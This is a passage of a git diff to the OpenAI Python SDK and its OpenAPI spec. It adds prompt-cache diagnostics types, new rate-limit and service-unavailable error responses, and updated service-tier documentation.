Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 310 +++++++++++++++++-
.../resources/beta/responses/responses.py | 26 +-
src/openai/resources/responses/responses.py | 26 +-
src/openai/types/beta/beta_response.py | 60 ++++
.../types/beta/beta_responses_client_event.py | 7 +
.../beta/beta_responses_client_event_param.py | 7 +
.../types/beta/response_compact_params.py | 13 +-
.../types/beta/response_create_params.py | 7 +
src/openai/types/responses/response.py | 60 ++++
.../responses/response_compact_params.py | 13 +-
.../types/responses/response_create_params.py | 7 +
.../types/responses/responses_client_event.py | 7 +
.../responses/responses_client_event_param.py | 7 +
tests/api_resources/beta/test_responses.py | 4 +
tests/api_resources/test_responses.py | 4 +
16 files changed, 517 insertions(+), 55 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index cd4b0eee15..7842b74f4a 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 08cffa97-63b1-4ab3-b3e4-9d438f45458f
-openapi_spec_hash: fcdb9c99a509f5ea8b90d7abbf1dab2f
-openapi_transformed_spec_hash: dd244f7dd3ab9d18dc2c34970a39505f
-config_hash: 81fd1039eb373628d87269f065d30a69
-codegen_sha: fb6674883ea2eed44fa6db1f16b106ee84b4c9e5
-codegen_hash: d68cd064823d9541b5d0874c92142d2691f7943452d9142c205b4cead3798785
-public_codegen_sha: e84368fa07e999995b4ec9f8514e6c5a98be2a89
+generation_id: 50d48205-978b-4b96-83b9-e92c82968d25
+openapi_spec_hash: a5a64d9aaf4a4022898dd86685c102ab
+openapi_transformed_spec_hash: f7c7c9ee2566bcf8165ab87b4851a1e5
+config_hash: dfe8a20c64cc5d852e69c441cbd28ae7
+codegen_sha: 9cbf6087efd2a6d5a57028c17f031fea6f7f5015
+codegen_hash: 331343ebbad785fc4c6d5ce8197e5b3de60b4b989f77df08356eb00fc6e958ef
+public_codegen_sha: 0c33f635083e108a823a23805ec04f2e6d1add4d
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index e03e89a485..e82580d8ea 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -604,7 +604,9 @@ paths:
schema:
$ref: '#/components/schemas/CreateSpeechResponseStreamEvent'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create speech
group: audio
@@ -716,7 +718,9 @@ paths:
schema:
$ref: '#/components/schemas/CreateTranscriptionResponseStreamEvent'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create transcription
group: audio
@@ -1272,7 +1276,9 @@ paths:
x-stainless-skip:
- go
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create translation
group: audio
@@ -2005,7 +2011,9 @@ paths:
schema:
$ref: '#/components/schemas/CreateChatCompletionStreamResponse'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create chat completion
group: chat
@@ -3143,7 +3151,9 @@ paths:
schema:
$ref: '#/components/schemas/CreateCompletionResponse'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create completion
group: completions
@@ -4199,7 +4209,9 @@ paths:
schema:
$ref: '#/components/schemas/CreateEmbeddingResponse'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create embeddings
group: embeddings
@@ -7797,6 +7809,10 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageEditStreamEvent'
+ '429':
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create image edit
group: images
@@ -7969,6 +7985,10 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageGenStreamEvent'
+ '429':
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create image
group: images
@@ -8385,6 +8405,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateModerationResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create moderation
group: moderations
@@ -16519,7 +16541,9 @@ paths:
schema:
$ref: '#/components/schemas/ResponseStreamEvent'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create a model response
group: responses
@@ -22856,6 +22880,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
deprecated: true
x-oaiMeta:
name: Create video
@@ -23126,6 +23152,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
deprecated: true
description: Create a new video generation job by editing a source video or existing generated video.
/videos/extensions:
@@ -23147,6 +23175,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
deprecated: true
description: Create an extension of a completed video.
/videos/{video_id}:
@@ -23472,6 +23502,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
deprecated: true
x-oaiMeta:
name: Remix video
@@ -23701,7 +23733,9 @@ paths:
schema:
$ref: '#/components/schemas/CompactResource'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Compact a response
group: responses
@@ -24950,7 +24984,9 @@ paths:
schema:
$ref: '#/components/schemas/BetaResponseStreamEvent'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Create a model response
group: responses
@@ -26517,7 +26553,9 @@ paths:
schema:
$ref: '#/components/schemas/BetaCompactResource'
'429':
- $ref: '#/components/responses/TooManyRequests'
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
name: Compact a response
group: responses
@@ -33947,6 +33985,8 @@ components:
- $ref: '#/components/schemas/ResponseProperties'
- type: object
properties:
+ prompt_cache_options:
+ $ref: '#/components/schemas/ResponsePromptCacheOptionsParam'
service_tier:
$ref: '#/components/schemas/ServiceTierResponses'
truncation:
@@ -52270,6 +52310,8 @@ components:
$ref: '#/components/schemas/ResponseUsage'
prompt_cache_options:
$ref: '#/components/schemas/PromptCacheOptions'
+ prompt_cache_diagnostics:
+ $ref: '#/components/schemas/PromptCacheDiagnostics'
moderation:
anyOf:
- $ref: '#/components/schemas/Moderation'
@@ -65621,6 +65663,24 @@ components:
- type
title: Specific shell tool choice
description: Forces the model to call the shell tool when a tool call is required.
+ ResponsePromptCacheOptionsParam:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/PromptCacheTTLEnum'
+ description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
+ mode:
+ $ref: '#/components/schemas/PromptCacheModeEnum'
+ description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The ID of a response to compare when diagnosing prompt cache reuse. Supplying this field requests prompt cache diagnostics when the feature is enabled.
+ example: resp_123
+ - type: 'null'
+ type: object
+ required: []
+ title: Prompt cache options
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
ReasoningModeEnum:
anyOf:
- type: string
@@ -65661,12 +65721,93 @@ components:
mode:
$ref: '#/components/schemas/PromptCacheModeEnum'
description: Whether implicit prompt-cache breakpoints were enabled.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The response ID supplied as the prompt cache diagnostics comparison.
+ - type: 'null'
type: object
required:
- ttl
- mode
title: Prompt cache options
description: The prompt-caching options that were applied to the response. Supported for `gpt-5.6` and later models.
+ CacheMissReasonTypeEnum:
+ type: string
+ enum:
+ - model_changed
+ - prompt_cache_key_changed
+ - tools_changed
+ - text_format_changed
+ - reasoning_effort_changed
+ - verbosity_changed
+ - context_compacted
+ - input_changed
+ - service_tier_changed
+ PromptCacheMissDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - cache_miss
+ default: cache_miss
+ x-stainless-const: true
+ reason:
+ $ref: '#/components/schemas/CacheMissReasonTypeEnum'
+ description: The reason prompt cache reuse did not occur.
+ cache_missed_tokens:
+ type: integer
+ description: The estimated number of input tokens affected after the first detected divergence.
+ comparison_reusable_tokens:
+ type: integer
+ description: The raw token count of the reusable prefix in the compared response.
+ type: object
+ required:
+ - type
+ - reason
+ - cache_missed_tokens
+ PromptCacheHitDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - cache_hit
+ default: cache_hit
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheComparisonResponseNotFoundDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - comparison_response_not_found
+ default: comparison_response_not_found
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheUnavailableDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - unavailable
+ default: unavailable
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheDiagnostics:
+ discriminator:
+ propertyName: type
+ description: Prompt cache diagnostics requested for this response.
+ anyOf:
+ - $ref: '#/components/schemas/PromptCacheMissDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheHitDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheComparisonResponseNotFoundDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheUnavailableDiagnosticsBody'
ModerationErrorBody:
properties:
type:
@@ -66869,7 +67010,7 @@ components:
anyOf:
- $ref: '#/components/schemas/ServiceTierEnum'
description: |-
- Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request. - When not set, the default behavior is 'auto'.
+ Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- type: 'null'
type: object
@@ -73451,7 +73592,7 @@ components:
anyOf:
- $ref: '#/components/schemas/BetaServiceTierEnum'
description: |-
- Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request. - When not set, the default behavior is 'auto'.
+ Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
- type: 'null'
type: object
@@ -75230,6 +75371,8 @@ components:
$ref: '#/components/schemas/BetaResponseUsage'
prompt_cache_options:
$ref: '#/components/schemas/BetaPromptCacheOptions'
+ prompt_cache_diagnostics:
+ $ref: '#/components/schemas/BetaPromptCacheDiagnostics'
moderation:
anyOf:
- $ref: '#/components/schemas/BetaModeration'
@@ -75370,6 +75513,82 @@ components:
enum:
- text
- image
+ BetaPromptCacheDiagnostics:
+ discriminator:
+ propertyName: type
+ description: Prompt cache diagnostics requested for this response.
+ anyOf:
+ - $ref: '#/components/schemas/BetaPromptCacheMissDiagnosticsBody'
+ - $ref: '#/components/schemas/BetaPromptCacheHitDiagnosticsBody'
+ - $ref: '#/components/schemas/BetaPromptCacheComparisonResponseNotFoundDiagnosticsBody'
+ - $ref: '#/components/schemas/BetaPromptCacheUnavailableDiagnosticsBody'
+ BetaPromptCacheUnavailableDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - unavailable
+ default: unavailable
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ BetaPromptCacheComparisonResponseNotFoundDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - comparison_response_not_found
+ default: comparison_response_not_found
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ BetaPromptCacheHitDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - cache_hit
+ default: cache_hit
+ x-stainless-const: true
+ type: object
+ required:
+ - type
+ BetaPromptCacheMissDiagnosticsBody:
+ properties:
+ type:
+ type: string
+ enum:
+ - cache_miss
+ default: cache_miss
+ x-stainless-const: true
+ reason:
+ $ref: '#/components/schemas/BetaCacheMissReasonTypeEnum'
+ description: The reason prompt cache reuse did not occur.
+ cache_missed_tokens:
+ type: integer
+ description: The estimated number of input tokens affected after the first detected divergence.
+ comparison_reusable_tokens:
+ type: integer
+ description: The raw token count of the reusable prefix in the compared response.
+ type: object
+ required:
+ - type
+ - reason
+ - cache_missed_tokens
+ BetaCacheMissReasonTypeEnum:
+ type: string
+ enum:
+ - model_changed
+ - prompt_cache_key_changed
+ - tools_changed
+ - text_format_changed
+ - reasoning_effort_changed
+ - verbosity_changed
+ - context_compacted
+ - input_changed
+ - service_tier_changed
BetaPromptCacheOptions:
properties:
ttl:
@@ -75378,6 +75597,11 @@ components:
mode:
$ref: '#/components/schemas/BetaPromptCacheModeEnum'
description: Whether implicit prompt-cache breakpoints were enabled.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The response ID supplied as the prompt cache diagnostics comparison.
+ - type: 'null'
type: object
required:
- ttl
@@ -80181,6 +80405,8 @@ components:
- $ref: '#/components/schemas/BetaResponseProperties'
- type: object
properties:
+ prompt_cache_options:
+ $ref: '#/components/schemas/BetaResponsePromptCacheOptionsParam'
service_tier:
$ref: '#/components/schemas/BetaServiceTierResponses'
truncation:
@@ -80377,6 +80603,24 @@ components:
enum:
- score
- block
+ BetaResponsePromptCacheOptionsParam:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/BetaPromptCacheTTLEnum'
+ description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
+ mode:
+ $ref: '#/components/schemas/BetaPromptCacheModeEnum'
+ description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The ID of a response to compare when diagnosing prompt cache reuse. Supplying this field requests prompt cache diagnostics when the feature is enabled.
+ example: resp_123
+ - type: 'null'
+ type: object
+ required: []
+ title: Prompt cache options
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
BetaCreateModelResponseProperties:
allOf:
- $ref: '#/components/schemas/BetaModelResponseProperties'
@@ -81033,6 +81277,48 @@ components:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ InferenceRateLimited:
+ description: The request was rejected because a rate limit was exceeded. A slow_down error means traffic increased too quickly; reduce your request rate, then increase it gradually.
+ headers:
+ Retry-After:
+ description: The minimum number of seconds to wait before retrying. This header is returned when the server has computed a retry delay and may be omitted.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ examples:
+ slowDown:
+ summary: Traffic increased too quickly
+ value:
+ error:
+ message: Your request rate increased too quickly. Please reduce the request rate and gradually increase it again.
+ type: rate_limit_error
+ param: null
+ code: slow_down
+ InferenceServiceUnavailable:
+ description: The service is temporarily unavailable. A server_is_overloaded error means the requested model is temporarily overloaded; retry after a brief delay.
+ headers:
+ Retry-After:
+ description: The minimum number of seconds to wait before retrying. This header is returned when the server has computed a retry delay and may be omitted.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ examples:
+ serverOverloaded:
+ summary: The requested model is temporarily overloaded
+ value:
+ error:
+ message: The model is temporarily overloaded. Please retry your request after a brief delay.
+ type: service_unavailable_error
+ param: null
+ code: server_is_overloaded
securitySchemes:
ApiKeyAuth:
type: http
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index ac707f855b..6c515d457f 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -1958,12 +1958,13 @@ def compact(
request will be processed with the Flex Processing service tier. - To opt-in to
[Fast mode](/api/docs/guides/fast-mode) at the request level, include the
`service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. The response will show `service_tier=priority` regardless of if you
- specify `service_tier=fast` or `priority` in your request. - When not set, the
- default behavior is 'auto'. When the `service_tier` parameter is set, the
- response body will include the `service_tier` value based on the processing mode
- actually used to serve the request. This response value may be different from
- the value set in the parameter.
+ Completions. For models with a dedicated Fast tier, either value resolves to
+ `service_tier=fast`; for other models, either value resolves to
+ `service_tier=priority`. - When not set, the default behavior is 'auto'. When
+ the `service_tier` parameter is set, the response body will include the
+ `service_tier` value based on the processing mode actually used to serve the
+ request. This response value may be different from the value set in the
+ parameter.
extra_headers: Send extra headers
@@ -3912,12 +3913,13 @@ async def compact(
request will be processed with the Flex Processing service tier. - To opt-in to
[Fast mode](/api/docs/guides/fast-mode) at the request level, include the
`service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. The response will show `service_tier=priority` regardless of if you
- specify `service_tier=fast` or `priority` in your request. - When not set, the
- default behavior is 'auto'. When the `service_tier` parameter is set, the
- response body will include the `service_tier` value based on the processing mode
- actually used to serve the request. This response value may be different from
- the value set in the parameter.
+ Completions. For models with a dedicated Fast tier, either value resolves to
+ `service_tier=fast`; for other models, either value resolves to
+ `service_tier=priority`. - When not set, the default behavior is 'auto'. When
+ the `service_tier` parameter is set, the response body will include the
+ `service_tier` value based on the processing mode actually used to serve the
+ request. This response value may be different from the value set in the
+ parameter.
extra_headers: Send extra headers
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 82f77328fc..1618c34b42 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1897,12 +1897,13 @@ def compact(
request will be processed with the Flex Processing service tier. - To opt-in to
[Fast mode](/api/docs/guides/fast-mode) at the request level, include the
`service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. The response will show `service_tier=priority` regardless of if you
- specify `service_tier=fast` or `priority` in your request. - When not set, the
- default behavior is 'auto'. When the `service_tier` parameter is set, the
- response body will include the `service_tier` value based on the processing mode
- actually used to serve the request. This response value may be different from
- the value set in the parameter.
+ Completions. For models with a dedicated Fast tier, either value resolves to
+ `service_tier=fast`; for other models, either value resolves to
+ `service_tier=priority`. - When not set, the default behavior is 'auto'. When
+ the `service_tier` parameter is set, the response body will include the
+ `service_tier` value based on the processing mode actually used to serve the
+ request. This response value may be different from the value set in the
+ parameter.
extra_headers: Send extra headers
@@ -3759,12 +3760,13 @@ async def compact(
request will be processed with the Flex Processing service tier. - To opt-in to
[Fast mode](/api/docs/guides/fast-mode) at the request level, include the
`service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. The response will show `service_tier=priority` regardless of if you
- specify `service_tier=fast` or `priority` in your request. - When not set, the
- default behavior is 'auto'. When the `service_tier` parameter is set, the
- response body will include the `service_tier` value based on the processing mode
- actually used to serve the request. This response value may be different from
- the value set in the parameter.
+ Completions. For models with a dedicated Fast tier, either value resolves to
+ `service_tier=fast`; for other models, either value resolves to
+ `service_tier=priority`. - When not set, the default behavior is 'auto'. When
+ the `service_tier` parameter is set, the response body will include the
+ `service_tier` value based on the processing mode actually used to serve the
+ request. This response value may be different from the value set in the
+ parameter.
extra_headers: Send extra headers
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index c6ae3b3b90..e12433639e 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -36,6 +36,11 @@
"ModerationOutput",
"ModerationOutputModerationResult",
"ModerationOutputError",
+ "PromptCacheDiagnostics",
+ "PromptCacheDiagnosticsCacheMiss",
+ "PromptCacheDiagnosticsCacheHit",
+ "PromptCacheDiagnosticsComparisonResponseNotFound",
+ "PromptCacheDiagnosticsUnavailable",
"PromptCacheOptions",
"Reasoning",
]
@@ -185,6 +190,55 @@ class Moderation(BaseModel):
"""Moderation for the response output."""
+class PromptCacheDiagnosticsCacheMiss(BaseModel):
+ cache_missed_tokens: int
+ """
+ The estimated number of input tokens affected after the first detected
+ divergence.
+ """
+
+ reason: Literal[
+ "model_changed",
+ "prompt_cache_key_changed",
+ "tools_changed",
+ "text_format_changed",
+ "reasoning_effort_changed",
+ "verbosity_changed",
+ "context_compacted",
+ "input_changed",
+ "service_tier_changed",
+ ]
+ """The reason prompt cache reuse did not occur."""
+
+ type: Literal["cache_miss"]
+
+ comparison_reusable_tokens: Optional[int] = None
+ """The raw token count of the reusable prefix in the compared response."""
+
+
+class PromptCacheDiagnosticsCacheHit(BaseModel):
+ type: Literal["cache_hit"]
+
+
+class PromptCacheDiagnosticsComparisonResponseNotFound(BaseModel):
+ type: Literal["comparison_response_not_found"]
+
+
+class PromptCacheDiagnosticsUnavailable(BaseModel):
+ type: Literal["unavailable"]
+
+
+PromptCacheDiagnostics: TypeAlias = Annotated[
+ Union[
+ PromptCacheDiagnosticsCacheMiss,
+ PromptCacheDiagnosticsCacheHit,
+ PromptCacheDiagnosticsComparisonResponseNotFound,
+ PromptCacheDiagnosticsUnavailable,
+ ],
+ PropertyInfo(discriminator="type"),
+]
+
+
class PromptCacheOptions(BaseModel):
"""The prompt-caching options that were applied to the response.
@@ -197,6 +251,9 @@ class PromptCacheOptions(BaseModel):
ttl: Literal["30m"]
"""The minimum lifetime applied to each cache breakpoint."""
+ comparison_response_id: Optional[str] = None
+ """The response ID supplied as the prompt cache diagnostics comparison."""
+
class Reasoning(BaseModel):
"""
@@ -514,6 +571,9 @@ class BetaResponse(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
"""
+ prompt_cache_diagnostics: Optional[PromptCacheDiagnostics] = None
+ """Prompt cache diagnostics requested for this response."""
+
prompt_cache_key: Optional[str] = None
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 17e1d267c5..94709417cd 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -110,6 +110,13 @@ class ResponseCreatePromptCacheOptions(BaseModel):
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
"""
+ comparison_response_id: Optional[str] = None
+ """The ID of a response to compare when diagnosing prompt cache reuse.
+
+ Supplying this field requests prompt cache diagnostics when the feature is
+ enabled.
+ """
+
mode: Optional[Literal["implicit", "explicit"]] = None
"""Controls whether OpenAI automatically creates an implicit cache breakpoint.
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 59973cc2f0..2ff8d6ad39 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -110,6 +110,13 @@ class ResponseCreatePromptCacheOptions(TypedDict, total=False):
Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
"""
+ comparison_response_id: Optional[str]
+ """The ID of a response to compare when diagnosing prompt cache reuse.
+
+ Supplying this field requests prompt cache diagnostics when the feature is
+ enabled.
+ """
+
mode: Literal["implicit", "explicit"]
"""Controls whether OpenAI automatically creates an implicit cache breakpoint.
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 0260b25fd2..e57bfce737 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -181,12 +181,13 @@ class ResponseCompactParams(TypedDict, total=False):
request will be processed with the Flex Processing service tier. - To opt-in
to [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
`service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. The response will show `service_tier=priority` regardless of if
- you specify `service_tier=fast` or `priority` in your request. - When not set,
- the default behavior is 'auto'. When the `service_tier` parameter is set, the
- response body will include the `service_tier` value based on the processing
- mode actually used to serve the request. This response value may be different
- from the value set in the parameter.
+ Completions. For models with a dedicated Fast tier, either value resolves to
+ `service_tier=fast`; for other models, either value resolves to
+ `service_tier=priority`. - When not set, the default behavior is 'auto'. When
+ the `service_tier` parameter is set, the response body will include the
+ `service_tier` value based on the processing mode actually used to serve the
+ request. This response value may be different from the value set in the
+ parameter.
"""
betas: Annotated[List[Literal["responses_multi_agent=v1"]], PropertyInfo(alias="openai-beta")]
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 56df1b9280..587c68656c 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -509,6 +509,13 @@ class PromptCacheOptions(TypedDict, total=False):
